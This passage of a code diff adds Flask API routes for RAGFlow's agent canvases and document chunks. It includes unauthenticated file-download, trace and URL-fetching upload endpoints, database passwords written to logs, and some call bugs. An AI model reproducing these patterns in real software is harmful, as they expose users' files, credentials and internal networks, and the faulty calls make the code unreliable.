+ req["dsl"] = json.dumps(req["dsl"], ensure_ascii=False)
+ req["dsl"] = json.loads(req["dsl"])
+ cate = req.get("canvas_category", CanvasCategory.Agent)
+ if "id" not in req:
+ req["user_id"] = current_user.id
+ if UserCanvasService.query(user_id=current_user.id, title=req["title"].strip(), canvas_category=cate):
+ return get_data_error_result(message=f"{req['title'].strip()} already exists.")
+ req["id"] = get_uuid()
+ if not UserCanvasService.save(**req):
+ return get_data_error_result(message="Fail to save canvas.")
+ else:
+ if not UserCanvasService.accessible(req["id"], current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+ UserCanvasService.update_by_id(req["id"], req)
+ # save version
+ UserCanvasVersionService.insert(user_canvas_id=req["id"], dsl=req["dsl"], title="{0}_{1}".format(req["title"], time.strftime("%Y_%m_%d_%H_%M_%S")))
+ UserCanvasVersionService.delete_all_versions(req["id"])
+ return get_json_result(data=req)
+
+
+@manager.route('/get/', methods=['GET']) # noqa: F821
+@login_required
+def get(canvas_id):
+ if not UserCanvasService.accessible(canvas_id, current_user.id):
+ return get_data_error_result(message="canvas not found.")
+ e, c = UserCanvasService.get_by_canvas_id(canvas_id)
+ return get_json_result(data=c)
+
+
+@manager.route('/getsse/', methods=['GET']) # type: ignore # noqa: F821
+def getsse(canvas_id):
+ token = request.headers.get('Authorization').split()
+ if len(token) != 2:
+ return get_data_error_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_data_error_result(message='Authentication error: API key is invalid!"')
+ tenant_id = objs[0].tenant_id
+ if not UserCanvasService.query(user_id=tenant_id, id=canvas_id):
+ return get_json_result(
+ data=False,
+ message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR
+ )
+ e, c = UserCanvasService.get_by_id(canvas_id)
+ if not e or c.user_id != tenant_id:
+ return get_data_error_result(message="canvas not found.")
+ return get_json_result(data=c.to_dict())
+
+
+@manager.route('/completion', methods=['POST']) # noqa: F821
+@validate_request("id")
+@login_required
+def run():
+ req = request.json
+ query = req.get("query", "")
+ files = req.get("files", [])
+ inputs = req.get("inputs", {})
+ user_id = req.get("user_id", current_user.id)
+ if not UserCanvasService.accessible(req["id"], current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+
+ e, cvs = UserCanvasService.get_by_id(req["id"])
+ if not e:
+ return get_data_error_result(message="canvas not found.")
+
+ if not isinstance(cvs.dsl, str):
+ cvs.dsl = json.dumps(cvs.dsl, ensure_ascii=False)
+
+ if cvs.canvas_category == CanvasCategory.DataFlow:
+ task_id = get_uuid()
+ Pipeline(cvs.dsl, tenant_id=current_user.id, doc_id=CANVAS_DEBUG_DOC_ID, task_id=task_id, flow_id=req["id"])
+ ok, error_message = queue_dataflow(tenant_id=user_id, flow_id=req["id"], task_id=task_id, file=files[0], priority=0)
+ if not ok:
+ return get_data_error_result(message=error_message)
+ return get_json_result(data={"message_id": task_id})
+
+ try:
+ canvas = Canvas(cvs.dsl, current_user.id, req["id"])
+ except Exception as e:
+ return server_error_response(e)
+
+ def sse():
+ nonlocal canvas, user_id
+ try:
+ for ans in canvas.run(query=query, files=files, user_id=user_id, inputs=inputs):
+ yield "data:" + json.dumps(ans, ensure_ascii=False) + "\n\n"
+
+ cvs.dsl = json.loads(str(canvas))
+ UserCanvasService.update_by_id(req["id"], cvs.to_dict())
+ except Exception as e:
+ logging.exception(e)
+ yield "data:" + json.dumps({"code": 500, "message": str(e), "data": False}, ensure_ascii=False) + "\n\n"
+
+ resp = Response(sse(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+
+@manager.route('/rerun', methods=['POST']) # noqa: F821
+@validate_request("id", "dsl", "component_id")
+@login_required
+def rerun():
+ req = request.json
+ doc = PipelineOperationLogService.get_documents_info(req["id"])
+ if not doc:
+ return get_data_error_result(message="Document not found.")
+ doc = doc[0]
+ if 0 < doc["progress"] < 1:
+ return get_data_error_result(message=f"`{doc['name']}` is processing...")
+
+ if settings.docStoreConn.indexExist(search.index_name(current_user.id), doc["kb_id"]):
+ settings.docStoreConn.delete({"doc_id": doc["id"]}, search.index_name(current_user.id), doc["kb_id"])
+ doc["progress_msg"] = ""
+ doc["chunk_num"] = 0
+ doc["token_num"] = 0
+ DocumentService.clear_chunk_num_when_rerun(doc["id"])
+ DocumentService.update_by_id(id, doc)
+ TaskService.filter_delete([Task.doc_id == id])
+
+ dsl = req["dsl"]
+ dsl["path"] = [req["component_id"]]
+ PipelineOperationLogService.update_by_id(req["id"], {"dsl": dsl})
+ queue_dataflow(tenant_id=current_user.id, flow_id=req["id"], task_id=get_uuid(), doc_id=doc["id"], priority=0, rerun=True)
+ return get_json_result(data=True)
+
+
+@manager.route('/cancel/', methods=['PUT']) # noqa: F821
+@login_required
+def cancel(task_id):
+ try:
+ REDIS_CONN.set(f"{task_id}-cancel", "x")
+ except Exception as e:
+ logging.exception(e)
+ return get_json_result(data=True)
+
+
+@manager.route('/reset', methods=['POST']) # noqa: F821
+@validate_request("id")
+@login_required
+def reset():
+ req = request.json
+ if not UserCanvasService.accessible(req["id"], current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+ try:
+ e, user_canvas = UserCanvasService.get_by_id(req["id"])
+ if not e:
+ return get_data_error_result(message="canvas not found.")
+
+ canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+ canvas.reset()
+ req["dsl"] = json.loads(str(canvas))
+ UserCanvasService.update_by_id(req["id"], {"dsl": req["dsl"]})
+ return get_json_result(data=req["dsl"])
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/upload/", methods=["POST"]) # noqa: F821
+def upload(canvas_id):
+ e, cvs = UserCanvasService.get_by_canvas_id(canvas_id)
+ if not e:
+ return get_data_error_result(message="canvas not found.")
+
+ user_id = cvs["user_id"]
+ def structured(filename, filetype, blob, content_type):
+ nonlocal user_id
+ if filetype == FileType.PDF.value:
+ blob = read_potential_broken_pdf(blob)
+
+ location = get_uuid()
+ FileService.put_blob(user_id, location, blob)
+
+ return {
+ "id": location,
+ "name": filename,
+ "size": sys.getsizeof(blob),
+ "extension": filename.split(".")[-1].lower(),
+ "mime_type": content_type,
+ "created_by": user_id,
+ "created_at": time.time(),
+ "preview_url": None
+ }
+
+ if request.args.get("url"):
+ from crawl4ai import (
+ AsyncWebCrawler,
+ BrowserConfig,
+ CrawlerRunConfig,
+ DefaultMarkdownGenerator,
+ PruningContentFilter,
+ CrawlResult
+ )
+ try:
+ url = request.args.get("url")
+ filename = re.sub(r"\?.*", "", url.split("/")[-1])
+ async def adownload():
+ browser_config = BrowserConfig(
+ headless=True,
+ verbose=False,
+ )
+ async with AsyncWebCrawler(config=browser_config) as crawler:
+ crawler_config = CrawlerRunConfig(
+ markdown_generator=DefaultMarkdownGenerator(
+ content_filter=PruningContentFilter()
+ ),
+ pdf=True,
+ screenshot=False
+ )
+ result: CrawlResult = await crawler.arun(
+ url=url,
+ config=crawler_config
+ )
+ return result
+ page = trio.run(adownload())
+ if page.pdf:
+ if filename.split(".")[-1].lower() != "pdf":
+ filename += ".pdf"
+ return get_json_result(data=structured(filename, "pdf", page.pdf, page.response_headers["content-type"]))
+
+ return get_json_result(data=structured(filename, "html", str(page.markdown).encode("utf-8"), page.response_headers["content-type"], user_id))
+
+ except Exception as e:
+ return server_error_response(e)
+
+ file = request.files['file']
+ try:
+ DocumentService.check_doc_health(user_id, file.filename)
+ return get_json_result(data=structured(file.filename, filename_type(file.filename), file.read(), file.content_type))
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/input_form', methods=['GET']) # noqa: F821
+@login_required
+def input_form():
+ cvs_id = request.args.get("id")
+ cpn_id = request.args.get("component_id")
+ try:
+ e, user_canvas = UserCanvasService.get_by_id(cvs_id)
+ if not e:
+ return get_data_error_result(message="canvas not found.")
+ if not UserCanvasService.query(user_id=current_user.id, id=cvs_id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+
+ canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+ return get_json_result(data=canvas.get_component_input_form(cpn_id))
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/debug', methods=['POST']) # noqa: F821
+@validate_request("id", "component_id", "params")
+@login_required
+def debug():
+ req = request.json
+ if not UserCanvasService.accessible(req["id"], current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+ try:
+ e, user_canvas = UserCanvasService.get_by_id(req["id"])
+ canvas = Canvas(json.dumps(user_canvas.dsl), current_user.id)
+ canvas.reset()
+ canvas.message_id = get_uuid()
+ component = canvas.get_component(req["component_id"])["obj"]
+ component.reset()
+
+ if isinstance(component, LLM):
+ component.set_debug_inputs(req["params"])
+ component.invoke(**{k: o["value"] for k,o in req["params"].items()})
+ outputs = component.output()
+ for k in outputs.keys():
+ if isinstance(outputs[k], partial):
+ txt = ""
+ for c in outputs[k]():
+ txt += c
+ outputs[k] = txt
+ return get_json_result(data=outputs)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/test_db_connect', methods=['POST']) # noqa: F821
+@validate_request("db_type", "database", "username", "host", "port", "password")
+@login_required
+def test_db_connect():
+ req = request.json
+ try:
+ if req["db_type"] in ["mysql", "mariadb"]:
+ db = MySQLDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"],
+ password=req["password"])
+ elif req["db_type"] == 'postgres':
+ db = PostgresqlDatabase(req["database"], user=req["username"], host=req["host"], port=req["port"],
+ password=req["password"])
+ elif req["db_type"] == 'mssql':
+ import pyodbc
+ connection_string = (
+ f"DRIVER={{ODBC Driver 17 for SQL Server}};"
+ f"SERVER={req['host']},{req['port']};"
+ f"DATABASE={req['database']};"
+ f"UID={req['username']};"
+ f"PWD={req['password']};"
+ )
+ db = pyodbc.connect(connection_string)
+ cursor = db.cursor()
+ cursor.execute("SELECT 1")
+ cursor.close()
+ elif req["db_type"] == 'IBM DB2':
+ import ibm_db
+ conn_str = (
+ f"DATABASE={req['database']};"
+ f"HOSTNAME={req['host']};"
+ f"PORT={req['port']};"
+ f"PROTOCOL=TCPIP;"
+ f"UID={req['username']};"
+ f"PWD={req['password']};"
+ )
+ logging.info(conn_str)
+ conn = ibm_db.connect(conn_str, "", "")
+ stmt = ibm_db.exec_immediate(conn, "SELECT 1 FROM sysibm.sysdummy1")
+ ibm_db.fetch_assoc(stmt)
+ ibm_db.close(conn)
+ return get_json_result(data="Database Connection Successful!")
+ else:
+ return server_error_response("Unsupported database type.")
+ if req["db_type"] != 'mssql':
+ db.connect()
+ db.close()
+
+ return get_json_result(data="Database Connection Successful!")
+ except Exception as e:
+ return server_error_response(e)
+
+
+#api get list version dsl of canvas
+@manager.route('/getlistversion/', methods=['GET']) # noqa: F821
+@login_required
+def getlistversion(canvas_id):
+ try:
+ list =sorted([c.to_dict() for c in UserCanvasVersionService.list_by_canvas_id(canvas_id)], key=lambda x: x["update_time"]*-1)
+ return get_json_result(data=list)
+ except Exception as e:
+ return get_data_error_result(message=f"Error getting history files: {e}")
+
+
+#api get version dsl of canvas
+@manager.route('/getversion/', methods=['GET']) # noqa: F821
+@login_required
+def getversion( version_id):
+ try:
+
+ e, version = UserCanvasVersionService.get_by_id(version_id)
+ if version:
+ return get_json_result(data=version.to_dict())
+ except Exception as e:
+ return get_json_result(data=f"Error getting history file: {e}")
+
+
+@manager.route('/list', methods=['GET']) # noqa: F821
+@login_required
+def list_canvas():
+ keywords = request.args.get("keywords", "")
+ page_number = int(request.args.get("page", 0))
+ items_per_page = int(request.args.get("page_size", 0))
+ orderby = request.args.get("orderby", "create_time")
+ canvas_category = request.args.get("canvas_category")
+ if request.args.get("desc", "true").lower() == "false":
+ desc = False
+ else:
+ desc = True
+ owner_ids = [id for id in request.args.get("owner_ids", "").strip().split(",") if id]
+ if not owner_ids:
+ tenants = TenantService.get_joined_tenants_by_user_id(current_user.id)
+ tenants = [m["tenant_id"] for m in tenants]
+ tenants.append(current_user.id)
+ canvas, total = UserCanvasService.get_by_tenant_ids(
+ tenants, current_user.id, page_number,
+ items_per_page, orderby, desc, keywords, canvas_category)
+ else:
+ tenants = owner_ids
+ canvas, total = UserCanvasService.get_by_tenant_ids(
+ tenants, current_user.id, 0,
+ 0, orderby, desc, keywords, canvas_category)
+ return get_json_result(data={"canvas": canvas, "total": total})
+
+
+@manager.route('/setting', methods=['POST']) # noqa: F821
+@validate_request("id", "title", "permission")
+@login_required
+def setting():
+ req = request.json
+ req["user_id"] = current_user.id
+
+ if not UserCanvasService.accessible(req["id"], current_user.id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+
+ e,flow = UserCanvasService.get_by_id(req["id"])
+ if not e:
+ return get_data_error_result(message="canvas not found.")
+ flow = flow.to_dict()
+ flow["title"] = req["title"]
+
+ for key in ["description", "permission", "avatar"]:
+ if value := req.get(key):
+ flow[key] = value
+
+ num= UserCanvasService.update_by_id(req["id"], flow)
+ return get_json_result(data=num)
+
+
+@manager.route('/trace', methods=['GET']) # noqa: F821
+def trace():
+ cvs_id = request.args.get("canvas_id")
+ msg_id = request.args.get("message_id")
+ try:
+ bin = REDIS_CONN.get(f"{cvs_id}-{msg_id}-logs")
+ if not bin:
+ return get_json_result(data={})
+
+ return get_json_result(data=json.loads(bin.encode("utf-8")))
+ except Exception as e:
+ logging.exception(e)
+
+
+@manager.route('//sessions', methods=['GET']) # noqa: F821
+@login_required
+def sessions(canvas_id):
+ tenant_id = current_user.id
+ if not UserCanvasService.accessible(canvas_id, tenant_id):
+ return get_json_result(
+ data=False, message='Only owner of canvas authorized for this operation.',
+ code=RetCode.OPERATING_ERROR)
+
+ user_id = request.args.get("user_id")
+ page_number = int(request.args.get("page", 1))
+ items_per_page = int(request.args.get("page_size", 30))
+ keywords = request.args.get("keywords")
+ from_date = request.args.get("from_date")
+ to_date = request.args.get("to_date")
+ orderby = request.args.get("orderby", "update_time")
+ if request.args.get("desc") == "False" or request.args.get("desc") == "false":
+ desc = False
+ else:
+ desc = True
+ # dsl defaults to True in all cases except for False and false
+ include_dsl = request.args.get("dsl") != "False" and request.args.get("dsl") != "false"
+ total, sess = API4ConversationService.get_list(canvas_id, tenant_id, page_number, items_per_page, orderby, desc,
+ None, user_id, include_dsl, keywords, from_date, to_date)
+ try:
+ return get_json_result(data={"total": total, "sessions": sess})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/prompts', methods=['GET']) # noqa: F821
+@login_required
+def prompts():
+ from rag.prompts.generator import ANALYZE_TASK_SYSTEM, ANALYZE_TASK_USER, NEXT_STEP, REFLECT, CITATION_PROMPT_TEMPLATE
+ return get_json_result(data={
+ "task_analysis": ANALYZE_TASK_SYSTEM +"\n\n"+ ANALYZE_TASK_USER,
+ "plan_generation": NEXT_STEP,
+ "reflection": REFLECT,
+ #"context_summary": SUMMARY4MEMORY,
+ #"context_ranking": RANK_MEMORY,
+ "citation_guidelines": CITATION_PROMPT_TEMPLATE
+ })
+
+
+@manager.route('/download', methods=['GET']) # noqa: F821
+def download():
+ id = request.args.get("id")
+ created_by = request.args.get("created_by")
+ blob = FileService.get_blob(created_by, id)
+ return flask.make_response(blob)
\ No newline at end of file
diff --git a/api/apps/chunk_app.py b/api/apps/chunk_app.py
new file mode 100644
index 0000000..bfd80ea
--- /dev/null
+++ b/api/apps/chunk_app.py
@@ -0,0 +1,415 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import datetime
+import json
+import re
+
+import xxhash
+from flask import request
+from flask_login import current_user, login_required
+
+from api import settings
+from api.db import LLMType, ParserType
+from api.db.services.dialog_service import meta_filter
+from api.db.services.document_service import DocumentService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.llm_service import LLMBundle
+from api.db.services.search_service import SearchService
+from api.db.services.user_service import UserTenantService
+from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request
+from rag.app.qa import beAdoc, rmPrefix
+from rag.app.tag import label_question
+from rag.nlp import rag_tokenizer, search
+from rag.prompts.generator import gen_meta_filter, cross_languages, keyword_extraction
+from rag.settings import PAGERANK_FLD
+from rag.utils import rmSpace
+
+
+@manager.route('/list', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("doc_id")
+def list_chunk():
+ req = request.json
+ doc_id = req["doc_id"]
+ page = int(req.get("page", 1))
+ size = int(req.get("size", 30))
+ question = req.get("keywords", "")
+ try:
+ tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+ e, doc = DocumentService.get_by_id(doc_id)
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+ query = {
+ "doc_ids": [doc_id], "page": page, "size": size, "question": question, "sort": True
+ }
+ if "available_int" in req:
+ query["available_int"] = int(req["available_int"])
+ sres = settings.retrievaler.search(query, search.index_name(tenant_id), kb_ids, highlight=True)
+ res = {"total": sres.total, "chunks": [], "doc": doc.to_dict()}
+ for id in sres.ids:
+ d = {
+ "chunk_id": id,
+ "content_with_weight": rmSpace(sres.highlight[id]) if question and id in sres.highlight else sres.field[
+ id].get(
+ "content_with_weight", ""),
+ "doc_id": sres.field[id]["doc_id"],
+ "docnm_kwd": sres.field[id]["docnm_kwd"],
+ "important_kwd": sres.field[id].get("important_kwd", []),
+ "question_kwd": sres.field[id].get("question_kwd", []),
+ "image_id": sres.field[id].get("img_id", ""),
+ "available_int": int(sres.field[id].get("available_int", 1)),
+ "positions": sres.field[id].get("position_int", []),
+ }
+ assert isinstance(d["positions"], list)
+ assert len(d["positions"]) == 0 or (isinstance(d["positions"][0], list) and len(d["positions"][0]) == 5)
+ res["chunks"].append(d)
+ return get_json_result(data=res)
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return get_json_result(data=False, message='No chunk found!',
+ code=settings.RetCode.DATA_ERROR)
+ return server_error_response(e)
+
+
+@manager.route('/get', methods=['GET']) # noqa: F821
+@login_required
+def get():
+ chunk_id = request.args["chunk_id"]
+ try:
+ chunk = None
+ tenants = UserTenantService.query(user_id=current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+ for tenant in tenants:
+ kb_ids = KnowledgebaseService.get_kb_ids(tenant.tenant_id)
+ chunk = settings.docStoreConn.get(chunk_id, search.index_name(tenant.tenant_id), kb_ids)
+ if chunk:
+ break
+ if chunk is None:
+ return server_error_response(Exception("Chunk not found"))
+
+ k = []
+ for n in chunk.keys():
+ if re.search(r"(_vec$|_sm_|_tks|_ltks)", n):
+ k.append(n)
+ for n in k:
+ del chunk[n]
+
+ return get_json_result(data=chunk)
+ except Exception as e:
+ if str(e).find("NotFoundError") >= 0:
+ return get_json_result(data=False, message='Chunk not found!',
+ code=settings.RetCode.DATA_ERROR)
+ return server_error_response(e)
+
+
+@manager.route('/set', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("doc_id", "chunk_id", "content_with_weight")
+def set():
+ req = request.json
+ d = {
+ "id": req["chunk_id"],
+ "content_with_weight": req["content_with_weight"]}
+ d["content_ltks"] = rag_tokenizer.tokenize(req["content_with_weight"])
+ d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+ if "important_kwd" in req:
+ if not isinstance(req["important_kwd"], list):
+ return get_data_error_result(message="`important_kwd` should be a list")
+ d["important_kwd"] = req["important_kwd"]
+ d["important_tks"] = rag_tokenizer.tokenize(" ".join(req["important_kwd"]))
+ if "question_kwd" in req:
+ if not isinstance(req["question_kwd"], list):
+ return get_data_error_result(message="`question_kwd` should be a list")
+ d["question_kwd"] = req["question_kwd"]
+ d["question_tks"] = rag_tokenizer.tokenize("\n".join(req["question_kwd"]))
+ if "tag_kwd" in req:
+ d["tag_kwd"] = req["tag_kwd"]
+ if "tag_feas" in req:
+ d["tag_feas"] = req["tag_feas"]
+ if "available_int" in req:
+ d["available_int"] = req["available_int"]
+
+ try:
+ tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+
+ embd_id = DocumentService.get_embd_id(req["doc_id"])
+ embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING, embd_id)
+
+ e, doc = DocumentService.get_by_id(req["doc_id"])
+ if not e:
+ return get_data_error_result(message="Document not found!")
+
+ if doc.parser_id == ParserType.QA:
+ arr = [
+ t for t in re.split(
+ r"[\n\t]",
+ req["content_with_weight"]) if len(t) > 1]
+ q, a = rmPrefix(arr[0]), rmPrefix("\n".join(arr[1:]))
+ d = beAdoc(d, q, a, not any(
+ [rag_tokenizer.is_chinese(t) for t in q + a]))
+
+ v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d.get("question_kwd") else "\n".join(d["question_kwd"])])
+ v = 0.1 * v[0] + 0.9 * v[1] if doc.parser_id != ParserType.QA else v[1]
+ d["q_%d_vec" % len(v)] = v.tolist()
+ settings.docStoreConn.update({"id": req["chunk_id"]}, d, search.index_name(tenant_id), doc.kb_id)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/switch', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("chunk_ids", "available_int", "doc_id")
+def switch():
+ req = request.json
+ try:
+ e, doc = DocumentService.get_by_id(req["doc_id"])
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ for cid in req["chunk_ids"]:
+ if not settings.docStoreConn.update({"id": cid},
+ {"available_int": int(req["available_int"])},
+ search.index_name(DocumentService.get_tenant_id(req["doc_id"])),
+ doc.kb_id):
+ return get_data_error_result(message="Index updating failure")
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/rm', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("chunk_ids", "doc_id")
+def rm():
+ from rag.utils.storage_factory import STORAGE_IMPL
+ req = request.json
+ try:
+ e, doc = DocumentService.get_by_id(req["doc_id"])
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ if not settings.docStoreConn.delete({"id": req["chunk_ids"]},
+ search.index_name(DocumentService.get_tenant_id(req["doc_id"])),
+ doc.kb_id):
+ return get_data_error_result(message="Chunk deleting failure")
+ deleted_chunk_ids = req["chunk_ids"]
+ chunk_number = len(deleted_chunk_ids)
+ DocumentService.decrement_chunk_num(doc.id, doc.kb_id, 1, chunk_number, 0)
+ for cid in deleted_chunk_ids:
+ if STORAGE_IMPL.obj_exist(doc.kb_id, cid):
+ STORAGE_IMPL.rm(doc.kb_id, cid)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/create', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("doc_id", "content_with_weight")
+def create():
+ req = request.json
+ chunck_id = xxhash.xxh64((req["content_with_weight"] + req["doc_id"]).encode("utf-8")).hexdigest()
+ d = {"id": chunck_id, "content_ltks": rag_tokenizer.tokenize(req["content_with_weight"]),
+ "content_with_weight": req["content_with_weight"]}
+ d["content_sm_ltks"] = rag_tokenizer.fine_grained_tokenize(d["content_ltks"])
+ d["important_kwd"] = req.get("important_kwd", [])
+ if not isinstance(d["important_kwd"], list):
+ return get_data_error_result(message="`important_kwd` is required to be a list")
+ d["important_tks"] = rag_tokenizer.tokenize(" ".join(d["important_kwd"]))
+ d["question_kwd"] = req.get("question_kwd", [])
+ if not isinstance(d["question_kwd"], list):
+ return get_data_error_result(message="`question_kwd` is required to be a list")
+ d["question_tks"] = rag_tokenizer.tokenize("\n".join(d["question_kwd"]))
+ d["create_time"] = str(datetime.datetime.now()).replace("T", " ")[:19]
+ d["create_timestamp_flt"] = datetime.datetime.now().timestamp()
+ if "tag_feas" in req:
+ d["tag_feas"] = req["tag_feas"]
+ if "tag_feas" in req:
+ d["tag_feas"] = req["tag_feas"]
+
+ try:
+ e, doc = DocumentService.get_by_id(req["doc_id"])
+ if not e:
+ return get_data_error_result(message="Document not found!")
+ d["kb_id"] = [doc.kb_id]
+ d["docnm_kwd"] = doc.name
+ d["title_tks"] = rag_tokenizer.tokenize(doc.name)
+ d["doc_id"] = doc.id
+
+ tenant_id = DocumentService.get_tenant_id(req["doc_id"])
+ if not tenant_id:
+ return get_data_error_result(message="Tenant not found!")
+
+ e, kb = KnowledgebaseService.get_by_id(doc.kb_id)
+ if not e:
+ return get_data_error_result(message="Knowledgebase not found!")
+ if kb.pagerank:
+ d[PAGERANK_FLD] = kb.pagerank
+
+ embd_id = DocumentService.get_embd_id(req["doc_id"])
+ embd_mdl = LLMBundle(tenant_id, LLMType.EMBEDDING.value, embd_id)
+
+ v, c = embd_mdl.encode([doc.name, req["content_with_weight"] if not d["question_kwd"] else "\n".join(d["question_kwd"])])
+ v = 0.1 * v[0] + 0.9 * v[1]
+ d["q_%d_vec" % len(v)] = v.tolist()
+ settings.docStoreConn.insert([d], search.index_name(tenant_id), doc.kb_id)
+
+ DocumentService.increment_chunk_num(
+ doc.id, doc.kb_id, c, 1, 0)
+ return get_json_result(data={"chunk_id": chunck_id})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/retrieval_test', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("kb_id", "question")
+def retrieval_test():
+ req = request.json
+ page = int(req.get("page", 1))
+ size = int(req.get("size", 30))
+ question = req["question"]
+ kb_ids = req["kb_id"]
+ if isinstance(kb_ids, str):
+ kb_ids = [kb_ids]
+ if not kb_ids:
+ return get_json_result(data=False, message='Please specify dataset firstly.',
+ code=settings.RetCode.DATA_ERROR)
+
+ doc_ids = req.get("doc_ids", [])
+ use_kg = req.get("use_kg", False)
+ top = int(req.get("top_k", 1024))
+ langs = req.get("cross_languages", [])
+ tenant_ids = []
+
+ if req.get("search_id", ""):
+ search_config = SearchService.get_detail(req.get("search_id", "")).get("search_config", {})
+ meta_data_filter = search_config.get("meta_data_filter", {})
+ metas = DocumentService.get_meta_by_kbs(kb_ids)
+ if meta_data_filter.get("method") == "auto":
+ chat_mdl = LLMBundle(current_user.id, LLMType.CHAT, llm_name=search_config.get("chat_id", ""))
+ filters = gen_meta_filter(chat_mdl, metas, question)
+ doc_ids.extend(meta_filter(metas, filters))
+ if not doc_ids:
+ doc_ids = None
+ elif meta_data_filter.get("method") == "manual":
+ doc_ids.extend(meta_filter(metas, meta_data_filter["manual"]))
+ if not doc_ids:
+ doc_ids = None
+
+ try:
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for kb_id in kb_ids:
+ for tenant in tenants:
+ if KnowledgebaseService.query(
+ tenant_id=tenant.tenant_id, id=kb_id):
+ tenant_ids.append(tenant.tenant_id)
+ break
+ else:
+ return get_json_result(
+ data=False, message='Only owner of knowledgebase authorized for this operation.',
+ code=settings.RetCode.OPERATING_ERROR)
+
+ e, kb = KnowledgebaseService.get_by_id(kb_ids[0])
+ if not e:
+ return get_data_error_result(message="Knowledgebase not found!")
+
+ if langs:
+ question = cross_languages(kb.tenant_id, None, question, langs)
+
+ embd_mdl = LLMBundle(kb.tenant_id, LLMType.EMBEDDING.value, llm_name=kb.embd_id)
+
+ rerank_mdl = None
+ if req.get("rerank_id"):
+ rerank_mdl = LLMBundle(kb.tenant_id, LLMType.RERANK.value, llm_name=req["rerank_id"])
+
+ if req.get("keyword", False):
+ chat_mdl = LLMBundle(kb.tenant_id, LLMType.CHAT)
+ question += keyword_extraction(chat_mdl, question)
+
+ labels = label_question(question, [kb])
+ ranks = settings.retrievaler.retrieval(question, embd_mdl, tenant_ids, kb_ids, page, size,
+ float(req.get("similarity_threshold", 0.0)),
+ float(req.get("vector_similarity_weight", 0.3)),
+ top,
+ doc_ids, rerank_mdl=rerank_mdl, highlight=req.get("highlight"),
+ rank_feature=labels
+ )
+ if use_kg:
+ ck = settings.kg_retrievaler.retrieval(question,
+ tenant_ids,
+ kb_ids,
+ embd_mdl,
+ LLMBundle(kb.tenant_id, LLMType.CHAT))
+ if ck["content_with_weight"]:
+ ranks["chunks"].insert(0, ck)
+
+ for c in ranks["chunks"]:
+ c.pop("vector", None)
+ ranks["labels"] = labels
+
+ return get_json_result(data=ranks)
+ except Exception as e:
+ if str(e).find("not_found") > 0:
+ return get_json_result(data=False, message='No chunk found! Check the chunk status please!',
+ code=settings.RetCode.DATA_ERROR)
+ return server_error_response(e)
+
+
+@manager.route('/knowledge_graph', methods=['GET']) # noqa: F821
+@login_required
+def knowledge_graph():
+ doc_id = request.args["doc_id"]
+ tenant_id = DocumentService.get_tenant_id(doc_id)
+ kb_ids = KnowledgebaseService.get_kb_ids(tenant_id)
+ req = {
+ "doc_ids": [doc_id],
+ "knowledge_graph_kwd": ["graph", "mind_map"]
+ }
+ sres = settings.retrievaler.search(req, search.index_name(tenant_id), kb_ids)
+ obj = {"graph": {}, "mind_map": {}}
